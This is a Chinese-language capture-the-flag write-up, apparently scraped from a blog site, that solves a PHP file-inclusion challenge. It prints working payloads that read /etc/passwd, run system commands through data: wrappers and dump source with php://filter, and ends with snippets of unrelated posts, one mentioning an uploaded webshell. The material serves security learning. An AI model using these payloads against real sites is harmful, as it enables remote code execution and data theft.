開啟題目,**如下:
<?php
show_source
(__file__);
echo
$_get
['hello'];
$page
=$_get
['page'];
while
(strstr
($page
,"php://"))
include
($page);
?>
構造payload簡單驗證一下是不是檔案包含:
?hello=***&page=/etc/passwd
結果如下:
可見屬於檔案包含型別的,但是他這裡過濾掉了php://。去查資料發現php裡面還有data:text/plain
偽協議可以利用,詳細的檔案包含漏洞利用可以參考這裡:檔案包含漏洞學習總結
首先測試data:plain/text
是否可用,使用如下payload:
?hello=&page=data:plain/text,<?php phpinfo();?>
測試結果入下,可見成功執行了,說明我們可以構造任意**執行。
接下來嘗試列出該目錄下的所有檔案,payload如下:
?hello=&page=data:plain/text,
輸出結果如圖:
下面嘗試讀取該檔案:
?hello=&page=data:plain/text,<?php system("cat fl4gisisish3r3.php");?>
發現沒有輸出,在這一步我卡了很久,也嘗試過使用file://來讀取結果還是不可以。
重新來看題,發現自己忽略了乙個地方,就是hello這個引數一直沒有用到,再看原始碼並未對hello做任何過濾,那麼用到他的機會來了。我只要把有php"//
的payload放到hello裡提交,然後通過data:plain/text構造的**去包含它,這樣不就讀取出fl4gisisish3r3.php檔案了嗎
構造payload:
?hello=php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php&page=data:plain/text,<?php include($_get['hello']);?>
執行成功,返回:
攻防世界mfw 攻防世界 Web mfw
題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...
攻防世界Web lottery
開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...
攻防世界 xctf Guess writeup
本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...